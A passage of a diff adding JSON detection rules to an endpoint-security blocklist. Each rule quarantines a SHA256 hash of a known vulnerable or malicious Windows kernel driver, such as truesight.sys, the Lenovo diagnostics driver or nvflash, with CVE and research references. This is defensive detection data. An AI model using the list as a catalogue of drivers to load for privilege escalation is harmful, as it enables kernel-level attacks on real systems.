+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481134Z",
+  "creation_date": "2026-03-23T11:45:31.481138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7d5c338e4ab0b92bc80961d98a25ceb92a105f58fafda64777d70f6aa138faf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f90a2ffd-0464-52b4-8ae3-eac317372341",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976155Z",
+  "creation_date": "2026-03-23T11:45:29.976157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976163Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34e6a56c60746c51034b45a7b2a36617205b598d0bbcc695f92404605a0975d5",
+  "comment": "Vulnerable Lenovo Diagnostics driver (aka LenovoDiagnosticsDriver.sys) [CVE-2022-3699] [https://github.com/alfarom256/CVE-2022-3699] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f916f197-de6b-5c3c-8571-905df60e549b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476933Z",
+  "creation_date": "2026-03-23T11:45:31.476937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476954Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9733e7799bff5df15ebaa7591d406be7786924a51c819167922e0afa3fda614",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f91c6734-d1ca-59d6-b7ab-a73cb455a6ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490713Z",
+  "creation_date": "2026-03-23T11:45:31.490715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "318ddeb258168ecbaa379f3199089c7cb23f4c9cd498c0a383beaca109878dd9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f91e4cda-4859-5704-9f13-f638b6771aa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827140Z",
+  "creation_date": "2026-03-23T11:45:31.827142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47bfe2a7b5686f38002e3a5d5663bb74c4b0a7c280519a9b971ffd003071c07b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f92e3c8a-0275-594f-a06e-a17eeca88374",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153806Z",
+  "creation_date": "2026-03-23T11:45:31.153808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8481430a617ece277a9a7bf70c0c50b901c46ecb98a92e335c790c937d9bd70b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f92fa147-7d3e-5374-9d17-14819c11a38b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618006Z",
+  "creation_date": "2026-03-23T11:45:29.618008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4115b7a30061d11a034188c0ec7a2223f3b032c8b3420cfffabf6c4df692920d",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9327c82-ba45-5cbb-afdf-706c0149f6fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475618Z",
+  "creation_date": "2026-03-23T11:45:30.475621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475630Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfbc382decb986b6050268e53092eae5e981cb886ccfb116ca7a0b311cef3862",
+  "comment": "Vulnerable Kernel Driver (aka vboxguest.sys) [https://www.loldrivers.io/drivers/0baa833c-e4e1-449e-86ee-cafeb11f5fd5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9368f53-f4c3-559a-a3bc-7f03d37c9d9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475330Z",
+  "creation_date": "2026-03-23T11:45:30.475333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0474e76cfd36e37e32cfe5c0a9e05ddee17dd5014d7aa8817ea3634a3540a3f",
+  "comment": "Malicious Kernel Driver (aka ef0e1725aaf0c6c972593f860531a2ea.sys) [https://www.loldrivers.io/drivers/8c2df58f-1e02-4911-ad40-3fa4ed1f4333/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f943649c-5bbb-58b4-947f-d6d4490cf361",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493852Z",
+  "creation_date": "2026-03-23T11:45:31.493855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f700eabf6cf46b012b3a0bba05fd7939d6081f686d686591c0021a064c8905a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f947f404-365b-515a-96d2-a5069eb02091",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825681Z",
+  "creation_date": "2026-03-23T11:45:31.825683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825688Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "947c7bff48b740945bcee0c26f90952602c023f0226719aed5eb27011016d642",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9538f55-df4e-501f-9f38-a1a09a117da9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142988Z",
+  "creation_date": "2026-03-23T11:45:31.142990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1bebafbe0c2d80ae7087bddb31e91460a94bad99b4bd4176867aee6e16cdd6bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9578a90-f1d3-5aa5-a194-4aac65a5ae0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456811Z",
+  "creation_date": "2026-03-23T11:45:30.456814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b33df9aff7cb99a782b252e8eb65ca49874a112986a1c49cd9971210597a8ae",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f960fffb-8411-5135-afda-a28fcb4a353f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979463Z",
+  "creation_date": "2026-03-23T11:45:29.979465Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979471Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9f2091fccb289bcf6a945f6b38676ec71dedb32f3674262928ccaf840ca131a",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9666d23-e67b-5e2b-a5cf-b45775f81d87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609611Z",
+  "creation_date": "2026-03-23T11:45:29.609613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f96b4b19-958d-5727-b819-3e8f72508355",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459272Z",
+  "creation_date": "2026-03-23T11:45:30.459275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "639ff79f13e40d47b90ecd709699edd10e740cb41451acb95590a68b6352de2b",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f96cdba9-6561-54a9-9025-14a729c93a1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822019Z",
+  "creation_date": "2026-03-23T11:45:30.822021Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4c9fdd68c1f70df223d50d849fb83d11b1abc2256b8916e195f32360bb647ad",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f980dc73-8f9c-521c-a0ce-ac7962516c38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822389Z",
+  "creation_date": "2026-03-23T11:45:30.822391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822396Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aea066ef46a44a082e437c0fd68671ad77ee626f5864a0c2060e8fb970493635",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f997f526-472b-55f4-9e3a-405fdd9edeb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822476Z",
+  "creation_date": "2026-03-23T11:45:30.822478Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822485Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f025ad896e6048a329aecb506503a79bc4d2717350f2c0bb7aec8fa52d31ba93",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9b4c0f4-bc34-5fa7-9d7a-9f1fd6480861",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146709Z",
+  "creation_date": "2026-03-23T11:45:31.146711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79f4933225a3b565ec0f74a64d91319d575dd9eed6ff4868794bfa1d5e82cf51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9c5a377-f8ca-5879-8e9c-9dd98638ae29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834409Z",
+  "creation_date": "2026-03-23T11:45:30.834412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "325ad9da55291b6a1ea583850bcacdb33c07176b554262cb67ba5124f1a304c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9e4e385-4191-5d76-b4f1-b3555fff7c1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145224Z",
+  "creation_date": "2026-03-23T11:45:32.145226Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1fa7d8275ccd14a6adc438ef4b950e7de4ed26fcbe4b3e184243663b03c83d6",
+  "comment": "Vulnerable Kernel Driver (aka RtsPer.sys) [https://www.loldrivers.io/drivers/32155681-33e8-4d0d-b9f6-c822851e7321/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f9f0fc4f-3b9c-5ab8-956f-2efa2e1fbeff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824079Z",
